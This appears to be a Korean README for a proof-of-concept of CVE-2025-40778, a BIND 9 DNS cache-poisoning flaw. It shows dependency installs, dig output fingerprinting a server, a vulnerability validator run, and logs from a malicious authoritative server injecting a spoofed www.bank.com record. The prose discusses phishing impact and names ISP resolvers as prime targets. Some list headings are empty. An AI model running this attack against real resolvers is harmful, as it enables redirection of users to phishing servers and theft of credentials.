
DNS 캐시 포이즈닝을 추가 레코드 주입을 통해 BIND 9에서 시연하는 개념 증명으로, 승인된 보안 테스트를 위해 CVE-2025-40778을 검증하고 악용하는 도구를 포함합니다.
추가 레코드(Additional Records) 주입을 통한 DNS 캐시 포이즈닝 취약점의 교육용 데모입니다.
교육 목적으로만 제공됩니다
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 귀하가 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 도구를 무단 사용하는 것은 불법이며 비윤리적입니다.
저자는 이 도구로 인한 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.
이 PoC는 손상된 권한 있는(authoritative) DNS 서버가 DNS 응답에 포이즈닝된 레코드를 주입하여, 사용자가 인지하지 못한 채 악성 서버로 리디렉션할 수 있는 방법을 시연합니다.
공격 벡터:
가능한 시나리오:
👤 작성자 및 연락처
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
이 도구는 CVE-2025-40778 취약점을 악용할 수 있는지 여부를 탐지합니다.
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
설명: 이 단계에서는 손상된 네임서버를 시뮬레이션하는 악성 권한 있는 DNS 서버를 실행합니다. 이 서버는 특정 IP와 포트(127.0.0.2:5301)에서 수신 대기하며, 응답에 포이즈닝된 DNS 레코드를 주입할 준비를 합니다. 구성이 완료되면 www.test.local에 대한 합법적인 쿼리에는 올바른 IP 주소로 응답하면서, 동시에 www.bank.com에 대한 악성 레코드를 공격자 제어 IP를 가리키도록 주입합니다. 이 이중 응답 동작이 캐시 포이즈닝 공격의 핵심입니다. 취약한 DNS 리졸버는 하나의 도메인만 요청되었음에도 합법적인 응답과 포이즈닝된 레코드를 모두 캐시합니다.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
설명: 여기서는 로컬 리졸버(BIND)를 통해 표준 DNS 쿼리를 수행하여 인프라가 올바르게 작동하는지 확인합니다. www.test.local에 대한 쿼리는 예상대로 합법적인 IP 주소(192.168.0.136)를 반환해야 합니다. 이 시점에서 최종 사용자에게는 응답이 정상적으로 보입니다. 손상의 징후가 눈에 보이지 않습니다. 그러나 백그라운드에서는 취약한 DNS 리졸버가 이미 두 레코드를 모두 캐시했습니다. 요청한 합법적인 레코드와 응답의 추가 섹션에 주입된 www.bank.com에 대한 포이즈닝된 레코드입니다. 이 단계는 DNS 리졸버가 악성 권한 있는 서버와 성공적으로 통신하고 그 응답을 처리했음을 확인합니다.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
설명: 이 단계에서는 공격자 관점에서 성공적인 캐시 포이즈닝의 증거를 보여줍니다. 악성 DNS 서버의 로그는 www.test.local에 대한 쿼리를 수신하고, 합법적인 응답으로 답변했으며, www.bank.com에 대한 포이즈닝 레코드를 성공적으로 주입했음을 보여줍니다. "RRs: A,A" 표기는 응답에 두 개의 A 레코드(하나는 합법적, 하나는 악성)가 전송되었음을 나타냅니다. 이 순간 피해자의 DNS 캐시는 손상되었습니다. 이후 이 리졸버에서 www.bank.com에 대한 모든 쿼리는 실제 은행 웹사이트 대신 공격자의 IP(192.168.0.100)를 반환하여, 사용자가 올바른 URL을 보지만 악성 서버에 연결되는 투명한 피싱 공격을 가능하게 합니다. 이 공격은 최종 사용자에게 보이지 않으며 DNS 캐시가 만료될 때까지(TTL) 지속됩니다.
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
실제로 의미하는 바:
일반 사용자가 은행 웹사이트에 접속하려 한다고 상상해 보세요. 브라우저에 www.bank.com을 신중하게 입력합니다. URL은 100% 정확하고, 오타도 없으며, 이메일의 의심스러운 링크도 없습니다. 브라우저의 주소 표시줄에는 신뢰하는 정확한 도메인이 표시됩니다. 모든 것이 합법적으로 보입니다.
하지만 백그라운드에서 실제로 일어난 일은 다음과 같습니다:
회사의 DNS 서버가 이 취약점을 사용하여 캐시를 포이즈닝한 공격자에 의해 손상되었습니다. 컴퓨터가 "www.bank.com이 어디에 있나요?"라고 물으면, 포이즈닝된 DNS는 실제 은행 주소 대신 공격자의 서버 IP 주소로 응답합니다.
공격의 구조
공격자가 탈취할 수 있는 것:
왜 그렇게 위험한가:
이 공격은 피해자에게 완전히 보이지 않습니다. 경고도, 위험 신호도, 일반 사용자가 탐지할 방법도 없습니다. 보안에 정통한 전문가도 피해자가 될 수 있습니다. 공격이 사용자 기기가 아닌 인프라 수준에서 발생하기 때문입니다. 손상된 DNS 서버 하나가 동시에 수천 명의 사용자에게 영향을 미칠 수 있어, 조직을 노리는 사이버 범죄자에게 매우 효과적인 공격 벡터가 됩니다.
결론: CVE-2025-40778은 공격자가 신뢰를 무기화할 수 있게 합니다. 인터넷 탐색을 위해 의존하는 바로 그 인프라가 손상되면, 가장 신중한 사용자조차 취약해집니다. 이것이 이 취약점을 이해하고, 테스트하고, 완화하는 것이 모든 조직의 보안 태세에 중요한 이유입니다.
핵심 요구 사항: 이 공격이 성공하려면 피해자가 손상된 DNS 리졸버를 사용해야 합니다. 이 공격은 최종 사용자의 기기를 직접 대상으로 하지 않습니다. 대신 사용자가 인터넷 탐색을 위해 의존하는 DNS 인프라를 대상으로 합니다.
실제 공격 대상:
공격자의 주요 목표는 많은 사용자 기반을 서비스하는 DNS 리졸버를 손상시키는 것입니다. 가장 가치 있는 대상은 다음과 같습니다:
이것이 중요한 이유:
공격의 효과는 DNS 리졸버의 사용자 기반 규모에 비례합니다. 하나의 ISP DNS 서버를 손상시키면, DNS 설정을 수동으로 변경하지 않은 모든 고객을 잠재적으로 손상시킬 수 있습니다. 이것이 인프라 수준의 DNS 보안이 중요한 이유입니다. 단일 취약한 리졸버가 해당 인프라를 신뢰하는 수천 또는 수백만 사용자에게 영향을 미치는 거대한 공격 표면을 만들 수 있기 때문입니다.